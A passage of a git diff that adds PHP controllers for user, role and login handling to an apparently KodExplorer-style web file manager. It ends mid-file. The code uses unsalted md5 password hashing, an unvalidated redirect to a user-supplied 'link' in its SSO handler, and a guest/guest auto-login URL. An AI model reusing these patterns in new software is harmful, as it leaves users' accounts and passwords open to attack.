+ * @param [type] $sizeAdd [变更的大小 sizeMax G为单位 sizeUse Byte为单位]
+ */
+ public static function spaceChange($theId,$sizeAdd=false){
+ $sql = self::loadData();
+ $info = $sql->get($theId);
+ if(!is_array($info)){
+ show_json(LNG('data_not_full'),false);
+ }
+ if($sizeAdd===false){//重置用户空间;避免覆盖、解压等导致的问题
+ $pathinfo = _path_info_more(iconv_system(USER_PATH.$info['path'].'/'));
+ $currentUse = $pathinfo['size'];
+ if(isset($info['homePath']) && file_exists(iconv_system($info['homePath']))){
+ $pathinfo = _path_info_more(iconv_system($info['homePath']));
+ $currentUse += $pathinfo['size'];
+ }
+ }else{
+ $currentUse = floatval($info['config']['sizeUse'])+floatval($sizeAdd);
+ }
+ $info['config']['sizeUse'] = $currentUse<0?0:$currentUse;
+ $sql->set($theId,$info);
+ }
+ /**
+ * 空间剩余检测
+ * 1073741824 —— 1G
+ */
+ public static function spaceCheck($theId){
+ $sql = self::loadData();
+ $info = $sql->get($theId);
+ if(!is_array($info)){
+ show_json(LNG('data_not_full'),false);
+ }
+ $sizeUse = floatval($info['config']['sizeUse']);
+ $sizeMax = floatval($info['config']['sizeMax']);
+ if($sizeMax!=0 && $sizeMax*1073741824<$sizeUse){
+ show_json(LNG('space_is_full'),false);
+ }
+ }
+
+ // 组删除后,所属该组的用户都删除;全局调用
+ public static function groupRemoveUserUpdate($groupID){
+ $sql = self::loadData();
+ $userAll = $sql->get();
+ foreach ($userAll as $key => $val) {
+ if(in_array($groupID,array_keys($val['groupInfo']))){
+ unset($val['groupInfo'][$groupID]);
+ $sql->set($val['userID'],$val);
+ }
+ }
+ }
+ // 权限组删除,所属该组的用户删除权限id
+ public static function roleRemoveUserUpdate($roleId){
+ $sql = self::loadData();
+ $userAll = $sql->get();
+ foreach ($userAll as $key => $val) {
+ if($val['role'] == $roleId){
+ $val['role'] = '';
+ $sql->set($val['userID'],$val);
+ }
+ }
+ }
+
+ //获取当前用户在某个群组的权限id; false|[id]
+ //兼容旧版本 'read'|'write'|false
+ public static function userAuthGroup($groupID){
+ $result = self::_userAuthGroupRole($groupID);
+ if($result === false) return false;
+
+ $result = $result == 'read' ? "1" : $result;
+ $result = $result == 'write' ? "2" : $result;
+ if(!is_array($GLOBALS['config']['pathRoleGroup'][$result])){
+ $result = "1";
+ }
+ return $result;
+ }
+
+
+ //获取在某个组的用户
+ public static function userAtGroup($groupID){
+ $sql = self::loadData();
+ $allUser = self::_filterList($sql->get());
+ if($groupID=='0'){
+ return $allUser;
+ }
+ $selectUser = array();
+ foreach ($allUser as $val) {
+ if(isset($val['groupInfo'][$groupID])){
+ $selectUser[] = $val;
+ }
+ }
+ return $selectUser;
+ }
+
+
+ //缓存用户共享对象=======================================
+ public static function userShareSql($userID){
+ static $userShareArr;
+ if(!is_array($userShareArr)){
+ $userShareArr = array();
+ }
+ if(!isset($userShareArr[$userID])){
+ $userInfo = systemMember::getInfo($userID);
+ if(!isset($userInfo['path'])){
+ return;
+ }
+ $sql = new FileCache(USER_PATH.$userInfo['path'].'/data/share.php');
+ $userShareArr[$userID] = $sql;
+ }
+ return $userShareArr[$userID];
+ }
+ //获取某个用户共享列表
+ public static function userShareList($userID){
+ $sql = self::userShareSql($userID);
+ $list = $sql->get();
+ if($userID == $_SESSION['kodUser']['userID']){//自己的列表则展示密码;否则清空密码
+ return $list;
+ }
+
+ //含有密码则不罗列
+ foreach($list as $key=>&$val){
+ if($val['sharePassword']){
+ unset($list[$key]);
+ }
+ }
+ return $list;
+ }
+ //获取某个用户某个共享
+ public static function userShareGet($userID,$name){
+ $sql = self::userShareSql($userID);
+ return $sql->get('name',$name);
+ }
+
+ //判断自己对某个组的权限 return false/'read'/'write'
+ public static function _userAuthGroupRole($groupID){
+ $sql = self::loadData();
+ $userInfo = $sql->get($_SESSION['kodUser']['userID']);
+ $groupInfo = $userInfo['groupInfo'];//自己所在的组
+ if(!is_array($groupInfo)){
+ return false;
+ }
+ if(isset($groupInfo[$groupID])){
+ return $groupInfo[$groupID];
+ }
+
+ $role = false;
+ $plist = array();
+ foreach ($groupInfo as $key => $value) {//
+ $group = systemGroup::getInfo($key);//测试组,是否在用户所在组的子组
+ $arr = explode(',',$group['children']);
+ if (in_array($groupID,$arr)) {
+ //return $groupInfo[$key]; // 找到最近的父级部门,而非第一个
+ if(empty($plist)){
+ $plist = $arr;
+ $role = $groupInfo[$key];
+ }else if(in_array($group['groupID'], $plist)){
+ $plist = $arr;
+ $role = $groupInfo[$key];
+ }
+ }
+ }
+ return $role;
+ }
+
+ //删除 path id
+ public static function _filterList($list,$filter_key = 'path'){
+ if($GLOBALS['isRoot']) return $list;
+ foreach ($list as $key => &$val) {
+ unset($val[$filter_key]);
+ unset($val['password']);
+ }
+ return $list;
+ }
+
+
+
+ //后台管理=====================
+ //管理员调用===================
+ /**
+ * 获取用户列表数据,根据用户组筛选;默认输出所有用户
+ */
+ public function get($groupID='0') {
+ $result = self::userAtGroup($groupID);
+ foreach($result as $key=>&$val){
+ unset($val['password']);
+ }
+ show_json($result);
+ }
+
+ /**
+ * 获取用户列表数据,根据用户组筛选;默认输出所有用户
+ */
+ public function getByName($name = '') {
+ if(!$name){
+ $name = $this->in['name'];
+ }
+ $result = $this->sql->get(array('name',$name));
+ if(is_array($result) && count($result)>0){
+ $arr = array_values($result);
+ unset($arr[0]['password']);
+ show_json($arr[0]);
+ }
+ show_json(LNG("not_exists"),false);
+ }
+
+ /**
+ * 用户添加
+ * systemMember/add&name=warlee&password=123&sizeMax=0&groupInfo={"0":"read","10":"write"}&role=default
+ */
+ public function add($user = false){
+ if (!isset($this->in['name']) || //必填项
+ !isset($this->in['password']) ||
+ !isset($this->in['role']) ||
+ !isset($this->in['groupInfo']) || //{"0":"read","100":"read"}
+ !isset($this->in['sizeMax'])
+ ){
+ show_json(LNG('data_not_full'),false);
+ }
+
+ $name = trim(rawurldecode($this->in['name']));
+ $password = rawurldecode($this->in['password']);
+ $groupInfo = json_decode(rawurldecode($this->in['groupInfo']),true);
+ if(!is_array($groupInfo)){
+ show_json(LNG('systemMember_group_error'),false);
+ }
+ if($this->sql->get(array('name',$name))){
+ show_json(LNG('error_repeat'),false,$name);
+ }
+
+ //非系统管理员,不能添加系统管理员
+ if(!$GLOBALS['isRoot'] && $this->in['role']=='1'){
+ show_json(LNG('group_role_error'),false);
+ }
+
+ $userArray = array();
+ if(isset($this->in['isImport'])){
+ $arr = explode("\n",$name);
+ foreach($arr as $v){
+ if(trim($v)!=''){
+ $userArray[] = trim($v);
+ }
+ }
+ }else{
+ $userArray[] = $name;
+ }
+ $nickName = 0;
+ if(isset($this->in['nickName'])){
+ $nickName = trim(rawurldecode($this->in['nickName']));
+ }
+
+
+ //批量添加
+ $errorArr = array();
+ foreach ($userArray as $val) {
+ if($this->sql->get('name',$val)){//已存在
+ $errorArr[] = $val;
+ continue;
+ }
+ $userID = $this->sql->getMaxId().'';
+ $userInfo = array(
+ 'userID' => $userID,
+ 'name' => $val,
+ 'nickName' => $nickName ? $nickName : $val,
+ 'password' => md5($password),
+ 'role' => $this->in['role'],
+ 'config' => array('sizeMax' => floatval($this->in['sizeMax']),//M
+ 'sizeUse' => 1024*1024),//总大小,目前使用大小
+ 'groupInfo' => $groupInfo,
+ 'path' => make_path($val),
+ 'status' => 1, //0禁用;1启用
+ 'lastLogin' => '', //最后登录时间 首次登陆则激活
+ 'createTime'=> time(),
+ );
+
+ if(file_exists(iconv_system(USER_PATH.$userInfo['path'])) ){
+ $userInfo['path'] = $userInfo['path'].'_'.$userInfo['userID'];
+ }
+ //用户组目录
+ if( isset($this->in['homePath'])){
+ $homePath = _DIR(rawurldecode($this->in['homePath']));
+ if(file_exists($homePath)){
+ $userInfo['homePath'] = iconv_app($homePath);
+ }
+ }else{
+ unset($userInfo['homePath']);
+ }
+ if ($this->sql->set($userID,$userInfo)) {
+ $this->initDir($userInfo['path']);
+ }else{
+ $errorArr[] = $val;
+ }
+ }
+
+ $success = count($userArray)-count($errorArr);
+ $msg = LNG('success');
+ if(count($errorArr) > 0 ){
+ $msg = LNG('word_success').' : '.$success.', ';//部分失败
+ if($success == 0 ){
+ $msg = LNG('error_repeat');
+ }
+ $msg .= LNG('word_error').' : '.count($errorArr);
+ }
+ if($success==count($userArray)){
+ show_json($msg,true,$success);
+ }else{
+ show_json($msg,false,implode("\n",$errorArr));
+ }
+ }
+
+ /**
+ * 编辑 systemMember/edit&userID=101&name=warlee&password=123&sizeMax=0
+ * &groupInfo={%220%22:%22read%22,%22100%22:%22read%22}&role=default
+ */
+ public function edit() {
+ if (!$this->in['userID']) show_json(LNG('data_not_full'),false);
+
+ $userID = $this->in['userID'];
+ $userInfo = $this->sql->get($userID);
+ if(!$userInfo){//用户不存在,或者默认用户不能修改
+ show_json(LNG('error'),false);
+ }
+ //非系统管理员,不能将别人设置为系统管理员
+ if(!$GLOBALS['isRoot'] && $this->in['role']=='1'){
+ show_json(LNG('group_role_error'),false);
+ }
+ //非系统管理员,不能修改系统管理员
+ if(!$GLOBALS['isRoot'] && $userInfo['role']=='1'){
+ show_json(LNG('group_role_error_admin'),false);
+ }
+
+ //管理员自己不能添加自己到非管理员组
+ if($GLOBALS['isRoot']
+ && $_SESSION['kodUser']['userID']==$userID
+ && $this->in['role']!='1'){
+ show_json(LNG('error'),false);
+ }
+
+ //修改为一个已存在的名字则提示
+ $theName = trim(rawurldecode($this->in['name']));
+ if($userInfo['name']!=$theName){
+ if($this->sql->get(array('name',$theName))){
+ show_json(LNG('error_repeat'),false);
+ }
+ }
+
+ $this->in['name'] = rawurlencode($theName);//还原
+ $editArr = array('name','nickName','role','password','groupInfo','homePath','status','sizeMax');
+ foreach ($editArr as $key) {
+ if(!isset($this->in[$key])) continue;
+ $userInfo[$key] = rawurldecode($this->in[$key]);
+ if($key == 'password'){
+ $userInfo['password'] = md5($userInfo[$key]);
+ }else if($key == 'sizeMax'){
+ $userInfo['config']['sizeMax'] = floatval($userInfo[$key]);
+ }else if($key == 'groupInfo'){//分组信息
+ $userInfo['groupInfo'] = json_decode(rawurldecode($this->in['groupInfo']),true);
+ }
+ }
+
+ //用户组目录
+ if( isset($this->in['homePath'])){
+ $userInfo['homePath'] = _DIR(rawurldecode($this->in['homePath']));
+ if(!file_exists($userInfo['homePath'])){
+ show_json(LNG('not_exists'),false);
+ }
+ $userInfo['homePath'] = iconv_app($userInfo['homePath']);
+ }else{
+ unset($userInfo['homePath']);
+ }
+ if($this->sql->set($userID,$userInfo)){
+ //self::spaceChange($userID);//重置用户使用空间
+ show_json(LNG('success'),true,$userInfo);
+ }
+ show_json(LNG('error_repeat'),false);
+ }
+
+ /**
+ * 用户批量操作 systemMember/doAction&action=&userID=[101,222,131]¶m=
+ * action :
+ * -------------
+ * del 删除用户
+ * statusSet 启用&禁用 param=0/1
+ * roleSet 权限组 param=roleID
+ * groupReset 重置分组 param=group_json
+ * groupRemoveFrom 从某个组删除 param=groupID
+ * groupAdd 添加到某个分组 param=group_json
+ */
+ public function doAction() {
+ if (!isset($this->in['userID'])){
+ show_json(LNG('username_can_not_null'),false);
+ }
+ $action = $this->in['action'];
+ $userArr = json_decode($this->in['userID'],true);
+ if(!is_array($userArr)){
+ show_json(LNG('error'),false);
+ }
+ if (in_array('1', $userArr)){//批量处理,不处理系统管理员admin
+ show_json(LNG('default_user_can_not_do'),false);
+ }
+ foreach ($userArr as $userID) {
+ switch ($action) {
+ case 'del'://删除
+ $userInfo = $this->sql->get($userID);
+ if($this->sql->remove($userID) && $userInfo['name']!=''){
+ del_dir(iconv_system(USER_PATH.$userInfo['path'].'/'));
+ }
+ break;
+ case 'statusSet'://禁用&启用
+ $status = intval($this->in['param']);
+ $this->sql->set(array('userID',$userID),array('status',$status));
+ break;
+ case 'spaceSet'://批量设置用户空间大小
+ $value = intval($this->in['param']);
+ $userInfo = $this->sql->get($userID);
+ $userInfo['config']['sizeMax'] = $value;
+ $this->sql->set($userID,$userInfo);
+ break;
+ case 'roleSet'://设置权限组
+ $role = $this->in['param'];
+ //非系统管理员,不能将别人设置为系统管理员
+ if(!$GLOBALS['isRoot'] && $role=='1'){
+ show_json(LNG('group_role_error'),false);
+ }
+ $this->sql->set(array('userID',$userID),array('role',$role));
+ break;
+ case 'groupReset'://设置分组
+ $groupArr = json_decode($this->in['param'],true);
+ if(!is_array($groupArr)){
+ show_json(LNG('error'),false);
+ }
+ $this->sql->set(array('userID',$userID),array('groupInfo',$groupArr));
+ break;
+ case 'groupRemoveFrom'://从某个组移除
+ $groupID = $this->in['param'];
+ $userInfo = $this->sql->get($userID);
+ unset($userInfo['groupInfo'][$groupID]);
+ $this->sql->set($userID,$userInfo);
+ break;
+ case 'groupAdd'://添加到某个组
+ $groupArr = json_decode($this->in['param'],true);
+ if(!is_array($groupArr)){
+ show_json(LNG('error'),false);
+ }
+ $userInfo = $this->sql->get($userID);
+ foreach ($groupArr as $key => $value) {
+ $userInfo['groupInfo'][$key] = $value;
+ }
+ $this->sql->set($userID,$userInfo);
+ default:break;
+ }
+ }
+ show_json(LNG('success'));
+ }
+
+ public function initInstall(){
+ $sql = systemMember::loadData();
+ $list = $sql->get();
+ foreach ($list as $id => &$info) {//创建用户目录及初始化
+ $path = make_path($info['name']);
+ $this->initDir($path);
+ $info['path'] = $path;
+ $info['createTime'] = time();
+ }
+ $sql->reset($list);
+
+ //初始化群组目录
+ $homeFolders = explode(',',$this->config['settingSystem']['newGroupFolder']);
+ $sql = systemGroup::loadData();
+ $list = $sql->get();
+ foreach ($list as $id => &$info) {//创建用户目录及初始化
+ $path = make_path($info['name']);
+ $rootPath = GROUP_PATH.$path.'/';
+ foreach ($homeFolders as $dir) {
+ mk_dir(iconv_system($rootPath.'home/'.$dir));
+ }
+ $info['path'] = $path;
+ $info['createTime'] = time();
+ }
+ $sql->reset($list);
+ }
+
+ //============内部处理函数=============
+ /**
+ *初始化用户数据和配置。
+ */
+ public function initDir($path){
+ $userFolder = array('home','recycle_kod','data');
+ $homeFolders = explode(',',$this->config['settingSystem']['newUserFolder']);
+ $rootPath = USER_PATH.$path.'/';
+ foreach ($userFolder as $dir) {
+ mk_dir(iconv_system($rootPath.$dir));
+ }
+ foreach ($homeFolders as $dir) {
+ mk_dir(iconv_system($rootPath.'home/'.$dir));
+ }
+ FileCache::save($rootPath.'data/config.php',$this->config['settingDefault']);
+ }
+}
diff --git a/app/controller/systemRole.class.php b/app/controller/systemRole.class.php
new file mode 100644
index 0000000..d97c5a0
--- /dev/null
+++ b/app/controller/systemRole.class.php
@@ -0,0 +1,170 @@
+sql= self::loadData();
+ }
+
+ //保证只加载一次文件
+ public static function loadData(){
+ if(is_null(self::$staticSql)){
+ self::$staticSql = systemRoleData();
+ }
+ return self::$staticSql;
+ }
+ public static function getInfo($theId){
+ $sql = self::loadData();
+ return $sql->get($theId);
+ }
+
+
+ //获取所有权限组
+ //用户组权限
+ public function get() {
+ if(isset($this->in['group_role'])){
+ $this->in['action'] == 'get';
+ $this->roleGroupAction();
+ }
+ show_json($this->sql->get());
+ }
+ /**
+ * 权限添加
+ */
+ public function add(){
+ $role = $this->_initData();
+ $roleId = $role['roleID'] = $this->sql->getMaxId().'';
+ $this->_checkExist( $this->sql->get(),array('name',$role['name']),$roleId );
+ if ($this->sql->set($role['roleID'],$role)) {
+ show_json(LNG('success'),true,$role['roleID']);
+ }
+ show_json(LNG('error'),false);
+ }
+
+ /**
+ * 编辑
+ */
+ public function edit(){
+ $role = $this->_initData();
+ $roleId = $this->in['roleID'];
+ $this->_checkExist( $this->sql->get(),array('name',$role['name']),$roleId );
+ if ($this->sql->set($roleId,$role)){
+ show_json(LNG('success'),true,$roleId);
+ }
+ show_json(LNG('error'),false);
+ }
+
+ /**
+ * 删除
+ */
+ public function del() {
+ if (!isset($this->in['roleID'])) show_json(LNG('data_not_full'),false);
+ if (strlen($this->in['roleID']) <= 1) show_json(LNG('default_user_can_not_do'),false);
+ systemMember::roleRemoveUserUpdate($this->in['roleID']);//用户所在权限组变更
+ if($this->sql->remove($this->in['roleID'])){
+ show_json(LNG('success'));
+ }
+ show_json(LNG('error'),false);
+ }
+
+ /**
+ * 用户组权限列表配置
+ * 增删改查
+ */
+ public function roleGroupAction(){
+ $sql = new FileCache(USER_SYSTEM.'system_role_group.php');
+ switch ($this->in['action']) {
+ case 'get':
+ $roleGroup = $sql->get();
+ if($roleGroup['1']['name'] == 'read'){
+ $roleGroup['1']['name'] = LNG('system_role_read');
+ }
+ if($roleGroup['2']['name'] == 'write'){
+ $roleGroup['2']['name'] = LNG('system_role_write');
+ }
+ show_json($roleGroup,true,$this->config['pathRoleDefine']);
+ break;
+ case 'add':
+ $roleId = $sql->getMaxId().'';
+ $roleArr = json_decode($this->in['role_arr'],true);
+ if(!is_array($roleArr)) show_json(LNG('error'),false);
+ if(!trim($roleArr['name'])) show_json(LNG("data_not_full"),false);
+ $this->_checkExist( $sql->get(),array('name',$roleArr['name']),$roleId);
+ if ($sql->set($roleId,$roleArr)) {
+ show_json(array($roleId),true,$sql->get());
+ }
+ show_json(LNG('error'),false);
+ break;
+ case 'set':
+ $roleId = $this->in['roleID'];
+ $roleArr = json_decode($this->in['role_arr'],true);
+ if(!is_array($roleArr)) show_json(LNG('error'),false);
+ if(!trim($roleArr['name'])) show_json(LNG("data_not_full"),false);
+ $this->_checkExist( $sql->get(),array('name',$roleArr['name']),$roleId);
+ if ($sql->set($roleId,$roleArr)){
+ show_json(LNG('success'),true,$sql->get());
+ }
+ show_json(LNG('error'),false);
+ break;
+ case 'del':
+ $roleId = $this->in['roleID'];
+ if(in_array($roleId,array("1","2"))){
+ show_json(LNG('default_user_can_not_do'),false);
+ }
+ if($sql->remove($this->in['roleID'])){
+ show_json(LNG('success'),true,$sql->get());
+ }
+ show_json(LNG('error'),false);
+ break;
+ default:break;
+ }
+ }
+
+ //检测是否存在
+ private function _checkExist($data,$find,$checkID){
+ $findData = array();
+ foreach ($data as $key => $val) {
+ if ($val[$find[0]] == $find[1]) {
+ $findData[$key] = $data[$key];
+ }
+ }
+ if(is_array($findData) && count($findData)>0 ){
+ $key = array_keys($findData);$key=$key[0];
+ if($key != $checkID) show_json(LNG("error_repeat"),false);
+ }
+ }
+
+
+ //===========内部调用============
+ /**
+ * 初始化数据 get
+ * 只传键即可 &extNotAllow='php,jsp'&explorer.mkfile=1&explorer.pathRname=1
+ */
+ private function _initData(){
+ if (strlen($this->in['name'])<1) show_json(LNG('groupname_can_not_null'),false);
+ $roleArr = array(
+ 'name' => rawurldecode($this->in['name']),
+ 'extNotAllow' => $this->in['extNotAllow']
+ );
+ foreach ($this->config['roleSetting'] as $key => $actions) {
+ foreach ($actions as $action) {
+ $keyUrl = $key.'_'.$action;//url explorer.mkdir => explorer_mkdir;
+ $keyAuth = $key.'.'.$action;
+ if (isset($this->in[$keyUrl])){
+ $roleArr[$keyAuth] = 1;
+ }else{
+ $roleArr[$keyAuth] = 0;
+ }
+ }
+ }
+ return $roleArr;
+ }
+}
diff --git a/app/controller/user.class.php b/app/controller/user.class.php
new file mode 100644
index 0000000..9482d6d
--- /dev/null
+++ b/app/controller/user.class.php
@@ -0,0 +1,653 @@
+login(DATA_PATH."
".LNG('path_can_not_write_data') );
+ }else{
+ $this->user = &$_SESSION['kodUser'];
+ if(!isset($this->user['path']) && isset($this->user['name'])){//旧版本数据
+ $this->user['path'] = $this->user['name'];
+ }
+ }
+ //不需要判断的action
+ $this->notCheckST = array('share','debug');
+ $this->notCheckACT = array(
+ 'loginFirst','login','logout','loginSubmit',
+ 'checkCode','publicLink','qrcode','sso');
+
+ $this->notCheckApp = array();//'pluginApp.to'
+ if(!$this->user){
+ $this->notCheckApp = array('pluginApp.to','api.view');
+ }
+ $this->config['forceWap'] = is_wap() && (!isset($_COOKIE['forceWap']) || $_COOKIE['forceWap'] == '1');
+ if( isset($_GET['forceWap']) ){
+ $this->config['forceWap'] = $_GET['forceWap'];
+ }
+ }
+
+ public function bindHook(){
+ $this->loadModel('Plugin')->init();
+ $this->bindCheckPassword();
+ }
+
+ /**
+ * 登录状态检测;并初始化数据状态
+ */
+ public function loginCheck(){
+ // CSRF-TOKEN更新后同步;关闭X-CSRF-TOKEN的httpOnly
+ if( ACT == 'commonJs' && isset($_SESSION['X-CSRF-TOKEN'])){
+ $this->_setCsrfToken();
+ }
+ if(in_array(ST,$this->notCheckST)) return;//不需要判断的控制器
+ if(in_array(ACT,$this->notCheckACT)) return;//不需要判断的action
+ if(in_array(ST.'.'.ACT,$this->notCheckApp)) return;//不需要判断的对应入口
+
+ if(isset($_SESSION['kodLogin']) && $_SESSION['kodLogin']===true && $this->user){
+ $user = systemMember::getInfo($this->user['userID']);
+ $this->_loginSuccess($user);
+ return;
+ }else if($_COOKIE['kodUserID']!='' && $_COOKIE['kodToken']!=''){
+ $user = systemMember::getInfo($_COOKIE['kodUserID']);
+ if (!is_array($user) || !isset($user['password'])) {
+ $this->logout();
+ }
+ if($this->_makeLoginToken($user) === $_COOKIE['kodToken']){
+ @session_start();//re start
+ $_SESSION['kodLogin'] = true;
+ $_SESSION['kodUser']= $user;
+ $_SESSION['X-CSRF-TOKEN'] = rand_string(20);
+ $this->_setCsrfToken();
+ setcookie('kodUserID', $_COOKIE['kodUserID'], time()+3600*24*100);
+ setcookie('kodToken',$_COOKIE['kodToken'],time()+3600*24*100);
+
+ //check if session work
+ @session_write_close();
+ unset($_SESSION);
+ @session_start();
+ if( !isset($_SESSION['kodUser']) ||
+ !is_array($_SESSION['kodUser'])){
+ $this->login(DATA_PATH."
".LNG('path_can_not_write_data') );
+ }else{
+ $this->_loginSuccess($user);
+ }
+ return;
+ }
+ $this->logout();//session user数据不存在
+ }else{
+ if ($this->config['settingSystem']['autoLogin'] != '1') {
+ $this->logout();//不自动登录
+ }else{
+ if (!file_exists(USER_SYSTEM.'install.lock')) {
+ $this->display('install.html');
+ exit;
+ }
+ header('location:./index.php?user/loginSubmit&name=guest&password=guest');
+ exit;
+ }
+ }
+ }
+ private function _setCsrfToken(){
+ setcookie_header('X-CSRF-TOKEN',$_SESSION['X-CSRF-TOKEN'], time()+3600*24*100);
+ }
+
+ private function _loginSuccess($user){
+ $this->user = $user;
+ if(!$user){//false
+ show_tips('[Error Code:1001] user data error!');
+ }else if(!$user['path']){//服务器管理后立即生效
+ $this->login("Your 'path' is empty,please install again!");
+ }else if($user['status'] == 0){
+ $this->login(LNG('login_error_user_not_use'));
+ }else if($user['role']==''){
+ $this->login(LNG('login_error_role'));
+ }
+ define('USER',USER_PATH.$this->user['path'].'/');//utf-8
+ define('USER_TEMP',USER.'data/temp/');
+ define('USER_RECYCLE',USER.'recycle_kod/');
+
+ @session_start();//re start
+ $_SESSION['kodUser']= $user;
+ @session_write_close();
+ if (!file_exists(iconv_system(USER))) {
+ $this->login("User/".get_path_this(USER)." ".LNG('not_exists'));
+ }
+ $user_home = user_home_path($this->user);//utf-8
+ define('HOME_PATH',$user_home);
+ if ($this->user['role'] == '1') {
+ define('MYHOME',$user_home);
+ define('HOME','');
+ $GLOBALS['webRoot'] = WEB_ROOT;//服务器目录
+ $GLOBALS['isRoot'] = 1;
+ }else{
+ define('HOME',$user_home);
+ define('MYHOME','/');
+ $GLOBALS['webRoot'] = '';//从服务器开始到用户目录
+ $GLOBALS['isRoot'] = 0;
+ }
+ $desktop = $this->config['settingSystem']['desktopFolder'];
+ if(isset($this->config['settingSystemDefault']['desktopFolder'])){
+ $desktop = $this->config['settingSystemDefault']['desktopFolder'];
+ }
+ define('DESKTOP_FOLDER',$desktop);
+ $this->config['user'] = FileCache::load(USER.'data/config.php');
+
+ if(!is_array($this->config['user'])){
+ $this->config['user'] = array();
+ }
+ foreach($this->config['settingDefault'] as $key=>$val){
+ if(!isset($this->config['user'][$key]) ){
+ $this->config['user'][$key] = $val;
+ }
+ }
+ }
+
+ private function _loginCheckPassword($user,$password){
+ if($this->checkPassword($password)) return;
+ if($user['role'] == '1'){ // 管理员,提示修改;
+ if(isset($_SESSION['adminPasswordTips'])) return;
+ @session_start();
+ $_SESSION['adminPasswordTips']= 1;
+ @session_write_close();
+ show_tips("安全提示:
密码长度必须大于6,同时包含英文和数字;
强烈建议登陆后修改密码!",false);
+ }
+ show_tips("密码长度必须大于6,同时包含英文和数字;
请联系管理员修改后再试!",false);
+ }
+ private function checkPassword($password){
+ if(defined('INSTALL_CHANNEL') && INSTALL_CHANNEL =='hikvision.com'){
+ $this->config['settingSystemDefault']['passwordCheck'] = '1';
+ }
+ if($this->config['settingSystemDefault']['passwordCheck'] == '0') return true;
+
+ $hasNumber = preg_match('/\d/',$password);
+ $hasChar = preg_match('/[A-Za-z]/',$password);
+ if( strlen($password) >= 6 && $hasNumber && $hasChar) return true;
+ return false;
+ }
+ private function bindCheckPassword(){
+ $action = strtolower(ST.'.'.ACT);
+ $check = array(
+ 'user.changepassword' => 'passwordNew',
+ 'systemmember.edit' => 'password',
+ 'systemmember.add' => 'password',
+ );
+ if(!isset($check[$action])) return;
+
+ $password = $this->in[$check[$action]];
+ if($this->checkPassword($password)) return;
+ show_json("密码长度必须大于6,同时包含英文和数字;
请联系管理员修改后再试!",false);
+ }
+
+ /**
+ * 共享kod登陆并跳转
+ * check: 校验方式:userID|userName|roleID|roleName|groupID|groupName,为空则所有登陆用户
+ * value: 对应的值
+ * link : 登陆后的跳转链接
+ */
+ public function sso(){
+ $result = false;
+ $error = "未登录!";
+ if(!isset($_SESSION) || $_SESSION['kodLogin'] != 1){//避免session不可写导致循环跳转
+ $this->login($error);
+ }
+ $user = $_SESSION['kodUser'];
+ //admin 或者不填则允许所有kod用户登陆
+ if( $user['role'] == '1' ||
+ !isset($this->in['check']) ||
+ !isset($this->in['value']) ){
+ $result = true;
+ }
+
+ $checkValue = false;
+ switch ($this->in['check']) {
+ case 'userID':$checkValue = $user['userID'];break;
+ case 'userName':$checkValue = $user['name'];break;
+ case 'roleID':$checkValue = $user['role'];break;
+ case 'roleName':
+ $role = systemRole::getInfo($user['role']);
+ $checkValue = $role['name'];
+ break;
+ case 'groupID':
+ $checkValue = array_keys($user['groupInfo']);
+ break;
+ case 'groupName':
+ $checkValue = array();
+ foreach ($user['groupInfo'] as $groupID=>$val){
+ $item = systemGroup::getInfo($groupID);
+ $checkValue[] = $item['name'];
+ }
+ break;
+ default:break;
+ }
+ if(!$result && $checkValue != false){
+ if( (is_string($checkValue) && $checkValue == $this->in['value']) ||
+ (is_array($checkValue) && in_array($this->in['value'],$checkValue))
+ ){
+ $result = true;
+ }else{
+ $error = clear_html($this->in['check']).' 没有权限, 配置权限需要为: "'
+ .clear_html($this->in['value']).'"';
+ }
+ }
+ if($result){
+ include(LIB_DIR.'api/sso.class.php');
+ SSO::sessionSet($this->in['app']);
+ header('location:'.$this->in['link']);
+ exit;
+ }
+ $this->login($error);
+ }
+ public function accessToken(){
+ if($_SESSION['kodLogin'] === true){
+ show_json(access_token_get(),true);
+ }else{
+ show_json('not login!',false);
+ }
+ }
+
+ //临时文件访问
+ public function publicLink(){
+ $pass = $this->config['settingSystem']['systemPassword'];
+ $fid = $this->in['fid'];//$this->in['fid'] 第三项
+ $path = Mcrypt::decode($fid,$pass);
+ if (strlen($path) == 0) {
+ show_json(LNG('error'),false);
+ }
+ $download = isset($_GET['download']);
+ $filename = isset($_GET['downFilename'])?$_GET['downFilename']:false;
+ file_put_out($path,$download,$filename);
+ }
+ public function commonJs(){
+ $out = ob_get_clean();
+ $basicPath = BASIC_PATH;
+ $userPath = USER_PATH;
+ $groupPath = GROUP_PATH;
+ if (!$GLOBALS['isRoot']) {//对非root用户隐藏地址
+ $basicPath = '/';
+ $userPath = '/';
+ $groupPath = '/';
+ }
+ $theConfig = array(
+ 'environment' => STATIC_JS,
+ 'lang' => I18n::getType(),
+ 'systemOS' => $this->config['systemOS'],
+ 'isRoot' => $GLOBALS['isRoot'],
+ 'userID' => $this->user['userID'],
+ 'webRoot' => $GLOBALS['webRoot'],
+ 'webHost' => HOST,
+ 'appHost' => APP_HOST,
+ 'staticPath' => STATIC_PATH,
+ 'appIndex' => $_SERVER['SCRIPT_NAME'],
+ 'basicPath' => $basicPath,
+ 'userPath' => $userPath,
+ 'groupPath' => $groupPath,
+
+ 'myhome' => MYHOME,
+ 'myDesktop' => MYHOME.DESKTOP_FOLDER.'/',
+ 'settings' => array(
+ 'updloadChunkSize' => file_upload_size(),
+ 'updloadThreads' => $this->config['settings']['updloadThreads'],
+ 'updloadBindary' => $this->config['settings']['updloadBindary'],
+ 'uploadCheckChunk' => $this->config['settings']['uploadCheckChunk'],
+
+ 'paramRewrite' => $this->config['settings']['paramRewrite'],
+ 'pluginServer' => $this->config['settings']['pluginServer'],
+ 'appType' => $this->config['settings']['appType']
+ ),
+ 'phpVersion' => PHP_VERSION,
+ 'version' => KOD_VERSION,
+ 'versionBuild' => KOD_VERSION_BUILD,
+ 'kodID' => md5(BASIC_PATH.$this->config['settingSystem']['systemPassword']),
+ 'jsonData' => "",
+ 'selfShare' => systemMember::userShareList($this->user['userID']),
+ 'userConfig' => $this->config['user'],
+ 'accessToken' => access_token_get(),
+ 'versionEnv' => base64_encode(serverInfo()),
+
+ //虚拟目录
+ 'KOD_GROUP_PATH' => KOD_GROUP_PATH,
+ 'KOD_GROUP_SHARE' => KOD_GROUP_SHARE,
+ 'KOD_USER_SELF' => KOD_USER_SELF,
+ 'KOD_USER_SHARE' => KOD_USER_SHARE,
+ 'KOD_USER_RECYCLE' => KOD_USER_RECYCLE,
+ 'KOD_USER_FAV' => KOD_USER_FAV,
+ 'KOD_GROUP_ROOT_SELF' => KOD_GROUP_ROOT_SELF,
